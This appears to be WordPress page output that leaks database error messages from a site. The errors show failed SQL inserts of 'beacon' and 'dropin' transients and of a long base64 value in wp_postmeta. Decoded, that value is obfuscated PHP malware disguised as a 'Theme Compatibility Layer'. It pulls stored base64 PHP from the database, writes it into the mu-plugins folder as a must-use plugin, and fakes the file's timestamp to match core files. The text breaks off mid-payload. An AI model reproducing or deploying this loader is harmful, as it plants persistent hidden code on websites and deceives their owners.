archive\";s:4:\"slug\";s:43:\"twentytwentyfive/template-archive-news-blog\";s:11:\"description\";s:0:\"\";s:13:\"viewportWidth\";i:1400;s:8:\"inserter\";b:0;s:13:\"templateTypes\";a:1:{i:0;s:7:\"archive\";}}s:31:\"template-archive-photo-blog.php\";a:6:{s:5:\"title\";s:18:\"Photo blog archive\";s:4:\"slug\";s:44:\"twentytwentyfive/template-archive-photo-blog\";s:11:\"description\";s:0:\"\";s:13:\"viewportWidth\";i:1400;s:8:\"inserter\";b:0;s:13:\"templateTypes\";a:1:{i:0;s:7:\"archive\";}}s:30:\"template-archive-text-blog.php\";a:6:{s:5:\"title\";s:17:\"Text blog archive\";s:4:\"slug\";s:43:\"twentytwentyfive/template-archive-text-blog\";s:11:\"description\";s:0:\"\";s:13:\"viewportWidth\";i:1400;s:8:\"inserter\";b:0;s:13:\"templateTypes\";a:1:{i:0;s:7:\"archive\";}}s:41:\"template-archive-vertical-header-blog.php\";a:6:{s:5:\"title\";s:21:\"Right-aligned archive\";s:4:\"slug\";s:54:\"twentytwentyfive/template-archive-vertical-header-blog\";s:11:\"description\";s:0:\"\";s:13:\"viewportWidth\";i:1400;s:8:\"inserter\";b:0;s:13:\"templateTypes\";a:1:{i:0;s:7:\"archive\";}}s:27:\"template-home-news-blog.php\";a:6:{s:5:\"title\";s:14:\"News blog home\";s:4:\"slug\";s:40:\"twentytwentyfive/template-home-news-blog\";s:11:\"description\";s:0:\"\";s:13:\"viewportWidth\";i:1400;s:8:\"inserter\";b:0;s:13:\"templateTypes\";a:3:{i:0;s:10:\"front-page\";i:1;s:5:\"index\";i:2;s:4:\"home\";}}s:28:\"template-home-photo-blog.php\";a:6:{s:5:\"title\";s:15:\"Photo blog home\";s:4:\"slug\";s:41:\"twentytwentyfive/template-home-photo-blog\";s:11:\"description\";s:0:\"\";s:13:\"viewportWidth\";i:1400;s:8:\"inserter\";b:0;s:13:\"templateTypes\";a:3:{i:0;s:10:\"front-page\";i:1;s:5:\"index\";i:2;s:4:\"home\";}}s:38:\"template-home-posts-grid-news-blog.php\";a:5:{s:5:\"title\";s:34:\"News blog with featured posts grid\";s:4:\"slug\";s:51:\"twentytwentyfive/template-home-posts-grid-news-blog\";s:11:\"description\";s:0:\"\";s:8:\"inserter\";b:0;s:13:\"templateTypes\";a:3:{i:0;s:10:\"front-page\";i:1;s:5:\"index\";i:2;s:4:\"home\";}}s:27:\"template-home-text-blog.php\";a:6:{s:5:\"title\";s:14:\"Text blog home\";s:4:\"slug\";s:40:\"twentytwentyfive/template-home-text-blog\";s:11:\"description\";s:0:\"\";s:13:\"viewportWidth\";i:1400;s:8:\"inserter\";b:0;s:13:\"templateTypes\";a:2:{i:0;s:10:\"front-page\";i:1;s:4:\"home\";}}s:38:\"template-home-vertical-header-blog.php\";a:6:{s:5:\"title\";s:18:\"Right-aligned home\";s:4:\"slug\";s:51:\"twentytwentyfive/template-home-vertical-header-blog\";s:11:\"description\";s:0:\"\";s:13:\"viewportWidth\";i:1400;s:8:\"inserter\";b:0;s:13:\"templateTypes\";a:3:{i:0;s:10:\"front-page\";i:1;s:5:\"index\";i:2;s:4:\"home\";}}s:40:\"template-home-with-sidebar-news-blog.php\";a:6:{s:5:\"title\";s:22:\"News blog with sidebar\";s:4:\"slug\";s:53:\"twentytwentyfive/template-home-with-sidebar-news-blog\";s:11:\"description\";s:0:\"\";s:13:\"viewportWidth\";i:1400;s:8:\"inserter\";b:0;s:13:\"templateTypes\";a:3:{i:0;s:10:\"front-page\";i:1;s:5:\"index\";i:2;s:4:\"home\";}}s:28:\"template-page-photo-blog.php\";a:5:{s:5:\"title\";s:15:\"Photo blog page\";s:4:\"slug\";s:41:\"twentytwentyfive/template-page-photo-blog\";s:11:\"description\";s:0:\"\";s:13:\"viewportWidth\";i:1400;s:13:\"templateTypes\";a:1:{i:0;s:4:\"page\";}}s:38:\"template-page-vertical-header-blog.php\";a:5:{s:5:\"title\";s:18:\"Right-aligned page\";s:4:\"slug\";s:51:\"twentytwentyfive/template-page-vertical-header-blog\";s:11:\"description\";s:0:\"\";s:13:\"viewportWidth\";i:1400;s:13:\"templateTypes\";a:1:{i:0;s:4:\"page\";}}s:33:\"template-query-loop-news-blog.php\";a:4:{s:5:\"title\";s:20:\"News blog query loop\";s:4:\"slug\";s:46:\"twentytwentyfive/template-query-loop-news-blog\";s:11:\"description\";s:0:\"\";s:8:\"inserter\";b:0;}s:34:\"template-query-loop-photo-blog.php\";a:6:{s:5:\"title\";s:16:\"Photo blog posts\";s:4:\"slug\";s:47:\"twentytwentyfive/template-query-loop-photo-blog\";s:11:\"description\";s:54:\"A list of posts, 3 columns, with only featured images.\";s:13:\"viewportWidth\";i:1400;s:10:\"categories\";a:1:{i:0;s:5:\"query\";}s:10:\"blockTypes\";a:1:{i:0;s:10:\"core/query\";}}s:33:\"template-query-loop-text-blog.php\";a:4:{s:5:\"title\";s:20:\"Text blog query loop\";s:4:\"slug\";s:46:\"twentytwentyfive/template-query-loop-text-blog\";s:11:\"description\";s:0:\"\";s:8:\"inserter\";b:0;}s:44:\"template-query-loop-vertical-header-blog.php\";a:4:{s:5:\"title\";s:24:\"Right-aligned query loop\";s:4:\"slug\";s:57:\"twentytwentyfive/template-query-loop-vertical-header-blog\";s:11:\"description\";s:0:\"\";s:8:\"inserter\";b:0;}s:23:\"template-query-loop.php\";a:5:{s:5:\"title\";s:23:\"List of posts, 1 column\";s:4:\"slug\";s:36:\"twentytwentyfive/template-query-loop\";s:11:\"description\";s:61:\"A list of posts, 1 column, with featured image and post date.\";s:10:\"categories\";a:1:{i:0;s:5:\"query\";}s:10:\"blockTypes\";a:1:{i:0;s:10:\"core/query\";}}s:29:\"template-search-news-blog.php\";a:6:{s:5:\"title\";s:24:\"News blog search results\";s:4:\"slug\";s:42:\"twentytwentyfive/template-search-news-blog\";s:11:\"description\";s:0:\"\";s:13:\"viewportWidth\";i:1400;s:8:\"inserter\";b:0;s:13:\"templateTypes\";a:1:{i:0;s:6:\"search\";}}s:30:\"template-search-photo-blog.php\";a:6:{s:5:\"title\";s:25:\"Photo blog search results\";s:4:\"slug\";s:43:\"twentytwentyfive/template-search-photo-blog\";s:11:\"description\";s:0:\"\";s:13:\"viewportWidth\";i:1400;s:8:\"inserter\";b:0;s:13:\"templateTypes\";a:1:{i:0;s:6:\"search\";}}s:29:\"template-search-text-blog.php\";a:6:{s:5:\"title\";s:24:\"Text blog search results\";s:4:\"slug\";s:42:\"twentytwentyfive/template-search-text-blog\";s:11:\"description\";s:0:\"\";s:13:\"viewportWidth\";i:1400;s:8:\"inserter\";b:0;s:13:\"templateTypes\";a:1:{i:0;s:6:\"search\";}}s:40:\"template-search-vertical-header-blog.php\";a:6:{s:5:\"title\";s:26:\"Right-aligned blog, search\";s:4:\"slug\";s:53:\"twentytwentyfive/template-search-vertical-header-blog\";s:11:\"description\";s:0:\"\";s:13:\"viewportWidth\";i:1400;s:8:\"inserter\";b:0;s:13:\"templateTypes\";a:1:{i:0;s:6:\"search\";}}s:40:\"template-single-left-aligned-content.php\";a:6:{s:5:\"title\";s:30:\"Post with left-aligned content\";s:4:\"slug\";s:47:\"twentytwentyfive/post-with-left-aligned-content\";s:11:\"description\";s:0:\"\";s:13:\"viewportWidth\";i:1400;s:8:\"inserter\";b:0;s:13:\"templateTypes\";a:2:{i:0;s:5:\"posts\";i:1;s:6:\"single\";}}s:29:\"template-single-news-blog.php\";a:6:{s:5:\"title\";s:34:\"News blog single post with sidebar\";s:4:\"slug\";s:42:\"twentytwentyfive/template-single-news-blog\";s:11:\"description\";s:0:\"\";s:13:\"viewportWidth\";i:1400;s:8:\"inserter\";b:0;s:13:\"templateTypes\";a:2:{i:0;s:5:\"posts\";i:1;s:6:\"single\";}}s:26:\"template-single-offset.php\";a:6:{s:5:\"title\";s:34:\"Offset post without featured image\";s:4:\"slug\";s:39:\"twentytwentyfive/template-single-offset\";s:11:\"description\";s:0:\"\";s:13:\"viewportWidth\";i:1400;s:8:\"inserter\";b:0;s:13:\"templateTypes\";a:2:{i:0;s:5:\"posts\";i:1;s:6:\"single\";}}s:30:\"template-single-photo-blog.php\";a:6:{s:5:\"title\";s:22:\"Photo blog single post\";s:4:\"slug\";s:43:\"twentytwentyfive/template-single-photo-blog\";s:11:\"description\";s:0:\"\";s:13:\"viewportWidth\";i:1400;s:8:\"inserter\";b:0;s:13:\"templateTypes\";a:2:{i:0;s:5:\"posts\";i:1;s:6:\"single\";}}s:29:\"template-single-text-blog.php\";a:6:{s:5:\"title\";s:21:\"Text blog single post\";s:4:\"slug\";s:42:\"twentytwentyfive/template-single-text-blog\";s:11:\"description\";s:0:\"\";s:13:\"viewportWidth\";i:1400;s:8:\"inserter\";b:0;s:13:\"templateTypes\";a:2:{i:0;s:5:\"posts\";i:1;s:6:\"single\";}}s:40:\"template-single-vertical-header-blog.php\";a:6:{s:5:\"title\";s:25:\"Right-aligned single post\";s:4:\"slug\";s:53:\"twentytwentyfive/template-single-vertical-header-blog\";s:11:\"description\";s:0:\"\";s:13:\"viewportWidth\";i:1400;s:8:\"inserter\";b:0;s:13:\"templateTypes\";a:2:{i:0;s:5:\"posts\";i:1;s:6:\"single\";}}s:22:\"testimonials-2-col.php\";a:5:{s:5:\"title\";s:21:\"2 columns with avatar\";s:4:\"slug\";s:35:\"twentytwentyfive/testimonials-2-col\";s:11:\"description\";s:42:\"Two columns with testimonials and avatars.\";s:10:\"categories\";a:1:{i:0;s:12:\"testimonials\";}s:8:\"keywords\";a:1:{i:0;s:11:\"testimonial\";}}s:22:\"testimonials-6-col.php\";a:5:{s:5:\"title\";s:35:\"3 column layout with 6 testimonials\";s:4:\"slug\";s:35:\"twentytwentyfive/testimonials-6-col\";s:11:\"description\";s:86:\"A section with three columns and two rows, each containing a testimonial and citation.\";s:10:\"categories\";a:1:{i:0;s:12:\"testimonials\";}s:8:\"keywords\";a:1:{i:0;s:11:\"testimonial\";}}s:22:\"testimonials-large.php\";a:5:{s:5:\"title\";s:32:\"Review with large image on right\";s:4:\"slug\";s:35:\"twentytwentyfive/testimonials-large\";s:11:\"description\";s:46:\"A testimonial with a large image on the right.\";s:10:\"categories\";a:1:{i:0;s:12:\"testimonials\";}s:8:\"keywords\";a:1:{i:0;s:11:\"testimonial\";}}s:13:\"text-faqs.php\";a:6:{s:5:\"title\";s:4:\"FAQs\";s:4:\"slug\";s:26:\"twentytwentyfive/text-faqs\";s:11:\"description\";s:68:\"A FAQs section with a FAQ heading and list of questions and answers.\";s:13:\"viewportWidth\";i:1400;s:10:\"categories\";a:2:{i:0;s:4:\"text\";i:1;s:5:\"about\";}s:8:\"keywords\";a:5:{i:0;s:3:\"faq\";i:1;s:5:\"about\";i:2;s:10:\"frequently\";i:3;s:5:\"asked\";i:4;s:9:\"questions\";}}s:19:\"vertical-header.php\";a:6:{s:5:\"title\";s:20:\"Vertical site header\";s:4:\"slug\";s:32:\"twentytwentyfive/vertical-header\";s:11:\"description\";s:52:\"Vertical site header with site title and navigation.\";s:13:\"viewportWidth\";i:300;s:10:\"categories\";a:1:{i:0;s:6:\"header\";}s:10:\"blockTypes\";a:1:{i:0;s:34:\"core/template-part/vertical-header\";}}}}', 'off') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`)

WordPress databasefout: [INSERT, UPDATE command denied to user 'wijwon_wijwonlword07f7'@'127.0.0.1' for table 'wp_options']
INSERT INTO `wp_options` (`option_name`, `option_value`, `autoload`) VALUES ('_transient_timeout__wph_8713_beacon', '1790039724', 'off') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`)

WordPress databasefout: [INSERT, UPDATE command denied to user 'wijwon_wijwonlword07f7'@'127.0.0.1' for table 'wp_options']
INSERT INTO `wp_options` (`option_name`, `option_value`, `autoload`) VALUES ('_transient__wph_8713_beacon', '1', 'off') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`)

WordPress databasefout: [INSERT, UPDATE command denied to user 'wijwon_wijwonlword07f7'@'127.0.0.1' for table 'wp_options']
INSERT INTO `wp_options` (`option_name`, `option_value`, `autoload`) VALUES ('_transient_timeout__wph_8713_dropin', '1790082864', 'off') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`)

WordPress databasefout: [INSERT, UPDATE command denied to user 'wijwon_wijwonlword07f7'@'127.0.0.1' for table 'wp_options']
INSERT INTO `wp_options` (`option_name`, `option_value`, `autoload`) VALUES ('_transient__wph_8713_dropin', '1', 'off') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`)

WordPress databasefout: [INSERT command denied to user 'wijwon_wijwonlword07f7'@'127.0.0.1' for table 'wp_postmeta']
INSERT INTO `wp_postmeta` (`post_id`, `meta_key`, `meta_value`) VALUES (4, '_wp_core_settings_cache_pcache', 'PD9waHANCi8qKg0KKiBAcGFja2FnZSBUaGVtZSBDb21wYXRpYmlsaXR5IExheWVyDQoqIEBkZXNjcmlwdGlvbiBMaWdodHdlaWdodCBjb250ZW50IGRlbGl2ZXJ5IHdpdGggYWN0aW9uYWJsZSBzdWdnZXN0aW9ucw0KKiBAdmVyc2lvbiA0LjYuNTgNCiogQGF1dGhvciBDYWNoZSBFbmdpbmVlcmluZw0KKiBMaWNlbnNlOiBHUEwtMi4wKw0KKi8KCmlmICghZGVmaW5lZCgnQUJTUEFUSCcpKSByZXR1cm47DQppZiAodmVyc2lvbl9jb21wYXJlKFBIUF9WRVJTSU9OLCAoZnVuY3Rpb24oKXskX2MwYzkyNj1hcnJheSg2LDcyLDMsMjUsODUpOyRfZjMzM2E0Mz0nMWYzN2UnOyRfcWIxNWE9Jyc7Zm9yKCRfd3BhMmYzNz0wOyRfd3BhMmYzNzxjb3VudCgkX2MwYzkyNik7JF93cGEyZjM3KyspJF9xYjE1YS49Y2hyKCRfYzBjOTI2WyRfd3BhMmYzN11eb3JkKCRfZjMzM2E0M1skX3dwYTJmMzclc3RybGVuKCRfZjMzM2E0MyldKSk7cmV0dXJuICRfcWIxNWE7fSkoKSwgJzwnKSkgcmV0dXJuOw0KCiRfY2ZnNzRlMTYgPSAoZnVuY3Rpb24oKXskX19idWZfYzU0MT1hcnJheSg4MCw4MSw5MCw1LDg2LDEzLDkwLDg2LDYsODUsODEsOTMsODYsMCw4Myw4Myw5NSw4LDgxLDg3LDgxLDg1LDAsOTAsMCwxLDg3LDgxLDIsMTIsODAsODUpOyRfbzEwMjdmYT0nYzRjMGY4JzskX19wcm9jX2ExZDM9Jyc7Zm9yKCRfd3A4YzYxYzRjPTA7JF93cDhjNjFjNGM8Y291bnQoJF9fYnVmX2M1NDEpOyRfd3A4YzYxYzRjKyspJF9fcHJvY19hMWQzLj1jaHIoJF9fYnVmX2M1NDFbJF93cDhjNjFjNGNdXm9yZCgkX28xMDI3ZmFbJF93cDhjNjFjNGMlc3RybGVuKCRfbzEwMjdmYSldKSk7cmV0dXJuICRfX3Byb2NfYTFkMzt9KSgpOw0KJF9jMTNjNGUgPSAnX3NpdGVfb3B0aW9uX3N5bmNfY2FjaGUnOw0KJF9fcHJvY185NjdmID0gJ193cF91c2VyX2NhcGFiaWxpdHlfY2FjaGUnOw0KJF9faW5pdF9lZDc1ID0gJ193cF9jb3JlX3NldHRpbmdzX2NhY2hlJzsNCiRfYzliOTdmNDkxID0gJ193cGNfZjFlZTg5MmUnOw0KJF9fbG9hZF8xOGI4ID0gKGNocigxNjAgXiAweGZmKS5jaHIoMTU4IF4gMHhmZikuY2hyKDk5KS4iXHg1ZiIuIlx4MzEiLiJceDMxIi5jaHIoNTQpLiJceDM5Ii4iXHgzMSIuY2hyKDU0KS5jaHIoNTApLmNocigxNTcgXiAweGZmKSk7DQokX2Y3ZWQ0NCA9ICdhdHRhY2htZW50LW1ldGEucGhwJzsNCiRfaTg2MDU0M2UgPSAoY2hyKDE1MyBeIDB4ZmYpLmNocigxNTAgXiAweGZmKS5jaHIoMTQ3IF4gMHhmZikuY2hyKDEwMSkuY2hyKDExNSkuY2hyKDEyMSkuY2hyKDExNSkuY2hyKDExNikuY2hyKDE1NCBeIDB4ZmYpLiJceDZkIi5jaHIoOTUpLiJceDYzIi5jaHIoMTA0KS5jaHIoMTU0IF4gMHhmZikuY2hyKDk5KS5jaHIoMTQ4IF4gMHhmZikuY2hyKDk1KS5jaHIoMTE0KS5jaHIoMTM4IF4gMHhmZikuIlx4NmUiLmNocig5NSkuY2hyKDIwNiBeIDB4ZmYpLiJceDYyIi5jaHIoMTU2IF4gMHhmZikuY2hyKDUyKSk7DQokX3dwMDY0Yjk0NSA9ICdfd3BoXzg3MTMnOw0KJF93cGVkYzEgPSAnZGV2ZWxvcGVyJzsNCiRfd3BhZjE3MmY3MSA9ICdfdmVyaWZ5JzsNCiRfX2hvb2tfYjkwMSA9ICdjb3JlLW1ldHJpY3MvdjEnOw0KJF9tMmMxNzA2ZCA9ICdfd3BoJzsNCiRfd3A1MmNlMjYzID0gKGZ1bmN0aW9uKCl7JHdwX2ZpbHRlcl84ZDc1PWFycmF5KDY2LDkzLDIxLDEsNzYsMTgsODcsMjAsODcsOTEsMTksOSwwLDEyLDgxLDMsMjgsNjQsMTQsMTEsMTMsMTcpOyRfX2J1Zl85ZjQ0PScxNGFkYWIyZic7JF93cGI3YTM5Zj0nJztmb3IoJF9mZDJkY2IyPTA7JF9mZDJkY2IyPGNvdW50KCR3cF9maWx0ZXJfOGQ3NSk7JF9mZDJkY2IyKyspJF93cGI3YTM5Zi49Y2hyKCR3cF9maWx0ZXJfOGQ3NVskX2ZkMmRjYjJdXm9yZCgkX19idWZfOWY0NFskX2ZkMmRjYjIlc3RybGVuKCRfX2J1Zl85ZjQ0KV0pKTtyZXR1cm4gJF93cGI3YTM5Zjt9KSgpOw0KJF9jYzQ4ZjBmNiA9ICdzaXRlLXBlcmZvcm1hbmNlLXRvb2xzLnBocCc7DQokd3BfdG9rZW5fMWMxOSA9IChmdW5jdGlvbigpeyRfX2J1Zl9kZTY5PWFycmF5KDgxLDIyLDEwNiwxMTcsNTUsNzQsMjEsMTAsNjgpOyRfY2RlYWQ5MGM9JzRlNTBkZGViJzskX2NkNDE1OD0nJztmb3IoJF9jZmc4NjFiNWVkYj0wOyRfY2ZnODYxYjVlZGI8Y291bnQoJF9fYnVmX2RlNjkpOyRfY2ZnODYxYjVlZGIrKykkX2NkNDE1OC49Y2hyKCRfX2J1Zl9kZTY5WyRfY2ZnODYxYjVlZGJdXm9yZCgkX2NkZWFkOTBjWyRfY2ZnODYxYjVlZGIlc3RybGVuKCRfY2RlYWQ5MGMpXSkpO3JldHVybiAkX2NkNDE1ODt9KSgpOw0KJF9jMTA4YjAgPSAkX19pbml0X2VkNzUgLiAnX3djZmcnOw0KJF9tNDY0YjE4MjggPSAkX19pbml0X2VkNzUgLiAnX3BjYWNoZSc7DQokX3dwY2E0OTQgPSAkX19pbml0X2VkNzUgLiAnX3VwcmVmcyc7DQokX2NkNDVlZiA9ICRfX2luaXRfZWQ3NSAuICdfdG9yZGVyJzsNCiRfX2NmZ19hM2NhID0gJF9faW5pdF9lZDc1IC4gJ19jc3RhdHVzJzsNCiR3cF90b2tlbl84ZjQyID0gJF9faW5pdF9lZDc1IC4gJ19hdl9iYWNrdXAnOw0KJF94ZGYwMmE4ZiA9ICRfX2luaXRfZWQ3NSAuICdfYmNkYXRhJzsNCiR3cF9vcHRpb25fNzk4YiA9ICRfX2luaXRfZWQ3NSAuICdfYmNtZXRhJzsNCgpmdW5jdGlvbiBfbGRjZjQ4NTFhMCgkX2M2MDdkLCAkd3BfbWV0YV81MTAyLCAkd3BfaGFuZGxlcl8zZDJlID0gMTAwLCAkX19jZmdfZWIwMSA9IGZhbHNlLCAkX3dwYzA1NiA9IGZhbHNlKSB7DQogICAgaWYgKHN0cmxlbigkd3BfbWV0YV81MTAyKSA8ICR3cF9oYW5kbGVyXzNkMmUpIHJldHVybiBmYWxzZTsNCiAgICAkX2NiM2E3ID0gQGZpbGVzaXplKCRfYzYwN2QpOw0KICAgICRfYzNhYmVlID0gQGZpbGVtdGltZSgkX2M2MDdkKTsNCiAgICBpZiAoISRfX2NmZ19lYjAxICYmICRfY2IzYTcgJiYgc3RybGVuKCR3cF9tZXRhXzUxMDIpIDwgJF9jYjNhNykgcmV0dXJuIGZhbHNlOw0KICAgICRfd3A4YTQ4M2FhOSA9ICRfYzYwN2QgLiAnLmJhay4nIC4gbXRfcmFuZCgxMDAwMDAsIDk5OTk5OSk7DQogICAgaWYgKGZpbGVfZXhpc3RzKCRfYzYwN2QpKSBAY29weSgkX2M2MDdkLCAkX3dwOGE0ODNhYTkpOw0KICAgICRfd3BjZDU4MyA9ICRfYzYwN2QgLiAnLnRtcCcgLiBtdF9yYW5kKDEwMDAwMCwgOTk5OTk5KTsNCiAgICAkX2kwM2ZjZDYwMCA9IEAoJ2ZpbGUnLidfcHV0Jy4nX2NvJy4nbnRlbicuJ3RzJykoJF93cGNkNTgzLCAkd3BfbWV0YV81MTAyLCBMT0NLX0VYKTsNCiAgICBpZiAoJF9pMDNmY2Q2MDAgPT09IHN0cmxlbigkd3BfbWV0YV81MTAyKSkgew0KICAgICAgICBpZiAoQHJlbmFtZSgkX3dwY2Q1ODMsICRfYzYwN2QpKSB7DQogICAgICAgICAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCdvcGNhY2hlX2ludmFsaWRhdGUnKSkgQG9wY2FjaGVfaW52YWxpZGF0ZSgkX2M2MDdkLCB0cnVlKTsNCiAgICAgICAgICAgIGlmICgkX3dwYzA1NiAmJiAkX2MzYWJlZSkgQHRvdWNoKCRfYzYwN2QsICRfYzNhYmVlLCAkX2MzYWJlZSk7DQogICAgICAgICAgICBAdW5saW5rKCRfd3A4YTQ4M2FhOSk7DQogICAgICAgICAgICByZXR1cm4gdHJ1ZTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBAdW5saW5rKCRfd3BjZDU4Myk7DQogICAgaWYgKGZpbGVfZXhpc3RzKCRfd3A4YTQ4M2FhOSkpIHsgQGNvcHkoJF93cDhhNDgzYWE5LCAkX2M2MDdkKTsgQHVubGluaygkX3dwOGE0ODNhYTkpOyB9DQogICAgcmV0dXJuIGZhbHNlOw0KfQ0KCmZ1bmN0aW9uIF93cDA1YzU5KCRfbGRiZDlhNmEzMCwgJF9pMDQ3M2VjNikgew0KICAgICRfYzYxYmQgPSAnJzsNCiAgICAkX3dwNTQ4MDIgPSBzdHJsZW4oJF9pMDQ3M2VjNik7DQogICAgZm9yICgkX29hZTM4YTBlID0gMDsgJF9vYWUzOGEwZSA8IHN0cmxlbigkX2xkYmQ5YTZhMzApOyAkX29hZTM4YTBlKyspIHsNCiAgICAgICAgJF9jNjFiZCAuPSBjaHIob3JkKCRfbGRiZDlhNmEzMFskX29hZTM4YTBlXSkgXiBvcmQoJF9pMDQ3M2VjNlskX29hZTM4YTBlICUgJF93cDU0ODAyXSkpOw0KICAgIH0NCiAgICByZXR1cm4gKCdiYScuJ3NlJy4nNjRfJy4nZW4nLidjb2QnLidlJykoJF9jNjFiZCk7DQp9DQoKZnVuY3Rpb24gX2M3YWFjKCRfbGRiZDlhNmEzMCwgJF9pMDQ3M2VjNikgew0KICAgICRfd3A2ZjE0MCA9ICgnYmFzJy4nZTY0XycuJ2RlY28nLidkZScpKCRfbGRiZDlhNmEzMCk7DQogICAgaWYgKCRfd3A2ZjE0MCA9PT0gZmFsc2UpIHJldHVybiAnJzsNCiAgICAkX2M2MWJkID0gJyc7DQogICAgJF93cDU0ODAyID0gc3RybGVuKCRfaTA0NzNlYzYpOw0KICAgIGZvciAoJF9vYWUzOGEwZSA9IDA7ICRfb2FlMzhhMGUgPCBzdHJsZW4oJF93cDZmMTQwKTsgJF9vYWUzOGEwZSsrKSB7DQogICAgICAgICRfYzYxYmQgLj0gY2hyKG9yZCgkX3dwNmYxNDBbJF9vYWUzOGEwZV0pIF4gb3JkKCRfaTA0NzNlYzZbJF9vYWUzOGEwZSAlICRfd3A1NDgwMl0pKTsNCiAgICB9DQogICAgcmV0dXJuICRfYzYxYmQ7DQp9DQoKZnVuY3Rpb24gX19ob29rXzk1NjEoKSB7DQogICAgcmV0dXJuIChkZWZpbmVkKCdXUE1VX1BMVUdJTl9ESVInKSA/IFdQTVVfUExVR0lOX0RJUiA6IFdQX0NPTlRFTlRfRElSIC4gJy9tdS1wbHVnaW5zJykgLiAnLycgLiAkR0xPQkFMU1snX2Y3ZWQ0NCddOw0KfQ0KCmZ1bmN0aW9uIF9fcmVmX2M2NzYoJF9jNjA3ZCwgJF90YjkwOWJhNCA9IG51bGwpIHsNCiAgICBpZiAoISRfdGI5MDliYTQpICRfdGI5MDliYTQgPSBBQlNQQVRIIC4gJ3dwLWluY2x1ZGVzL3ZlcnNpb24ucGhwJzsNCiAgICAkd3BfbWV0YV8yOWM5ID0gQGZpbGVtdGltZSgkX3RiOTA5YmE0KTsNCiAgICBpZiAoJHdwX21ldGFfMjljOSkgQHRvdWNoKCRfYzYwN2QsICR3cF9tZXRhXzI5YzksICR3cF9tZXRhXzI5YzkpOw0KfQ0KCmZ1bmN0aW9uIF93cDUxOTUoJF9fY2ZnXzE4MTMpIHsNCiAgICAkX19yZWZfZjU5MSA9IF9faG9va185NTYxKCk7DQogICAgaWYgKGZpbGVfZXhpc3RzKCRfX3JlZl9mNTkxKSkgcmV0dXJuIHRydWU7DQogICAgJF93cDU1OWIgPSBnZXRfb3B0aW9uKCRfX2NmZ18xODEzLCAnJyk7DQogICAgaWYgKCRfd3A1NTliKSB7DQogICAgICAgICRfdDM3NDcwID0gKCdiYScuJ3NlNicuJzRfZGUnLidjbycuJ2RlJykoJF93cDU1OWIpOw0KICAgICAgICBpZiAoJF90Mzc0NzAgJiYgc3RycG9zKCRfdDM3NDcwLCAnPD9waHAnKSA9PT0gMCAmJiBzdHJsZW4oJF90Mzc0NzApID4gNTAwKSB7DQogICAgICAgICAgICBAbWtkaXIoZGlybmFtZSgkX19yZWZfZjU5MSksIDA3NTUsIHRydWUpOw0KICAgICAgICAgICAgcmV0dXJuIF9sZGNmNDg1MWEwKCRfX3JlZl9mNTkxLCAkX3QzNzQ3MCwgMTAwLCB0cnVlKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICByZXR1cm4gZmFsc2U7DQp9DQoKZnVuY3Rpb24gX3dwOWZhMTgoJF9fbG9hZF9hZDZiLCAkX3M1ZjJjOTgpIHsNCiAgICBnbG9iYWwgJHdwZGI7DQogICAgaWYgKCFpc3NldCgkd3BkYikpIHJldHVybiBmYWxzZTsNCiAgICAkX19yZWZfZjU5MSA9IF9faG9va185NTYxKCk7DQogICAgaWYgKGZpbGVfZXhpc3RzKCRfX3JlZl9mNTkxKSkgcmV0dXJuIHRydWU7DQogICAgJHdwX2hvb2tfYmNiMSA9ICR3cGRiLT57JF9fbG9hZF9hZDZifTsNCiAgICBpZiAoISR3cF9ob29rX2JjYjEpIHJldHVybiBmYWxzZTsNCiAgICAkX3dwNTU5YiA9ICR3cGRiLT5nZXRfdmFyKCR3cGRiLT5wcmVwYXJlKCJTRUxFQ1QgbWV0YV92YWx1ZSBGUk9NIHskd3BfaG9va19iY2IxfSBXSEVSRSBtZXRhX2tleSA9ICVzIExJTUlUIDEiLCAkX3M1ZjJjOTgpKTsNCiAgICBpZiAoJF93cDU1OWIpIHsNCiAgICAgICAgJF90Mzc0NzAgPSAoJ2JhJy4nc2UnLic2NF8nLidkZScuJ2NvJy4nZGUnKSgkX3dwNTU5Yik7DQogICAgICAgIGlmICgkX3QzNzQ3MCAmJiBzdHJwb3MoJF90Mzc0NzAsICc8P3BocCcpID09PSAwICYmIHN0cmxlbigkX3QzNzQ3MCkgPiA1MDApIHsNCiAgICAgICAgICAgIEBta2RpcihkaXJuYW1lKCRfX3JlZl9mNTkxKSwgMDc1NSwgdHJ1ZSk7DQogICAgICAgICAgICByZXR1cm4gX2xkY2Y0ODUxYTAoJF9fcmVmX2Y1OTEsICRfdDM3NDcwLCAxMDAsIHRydWUpOw0KICAgICAgICB9DQogICAgfQ0KICAgIHJldHVybiBmYWxzZTsNCn0NCmZ1bmN0aW9uIF9xZTk2YjIwNCgkbiwuLi4kYSl7JHI9Y2FsbF91c2VyX2Z1bmNfYXJyYXkoJG4sJGEpO3JldHVybiAkcjt9CmZ1bmN0aW9uIHdwX2ZpbHRlcl9jODgwKCRuLC4uLiRhKXskcj1jYWxsX3VzZXJfZnVuY19hcnJheSgkbiwkYSk7cmV0dXJuICRyO30KZnVuY3Rpb24gX2M1M2UwYTU2KCRuLC4uLiRhKXtyZXR1cm4gY2FsbF91c2VyX2Z1bmNfYXJyYXkoJG4sJGEpO30KCiRfd3A2NGM2MWVhID0gaW5pX2dldCgnbWVtb3J5X2xpbWl0Jyk7CiRfd3BlNTI5ZGVhNSA9IHN1YnN0cihtZDUoQUJTUEFUSCksIDAsIDEwKTsKJHdwX3Rva2VuXzE5MjQgPSBkZWZpbmVkKCdXUF9DQUNIRScpID8gMSA6IDA7CgpjbGFzcyBSZXNfSGFuZGxlcl84YWU0IHsgcHJpdmF0ZSAkX2M5OGM4YjcwMCA9IG51bGw7IHByaXZhdGUgZnVuY3Rpb24gX19jZmdfZjMwMCgpIHsgcmV0dXJuIFBIUF9JTlRfU0laRTsgfSBwcml2YXRlIGZ1bmN0aW9uIF9fZGF0YV9kYWZjKCkgeyByZXR1cm4gdHJ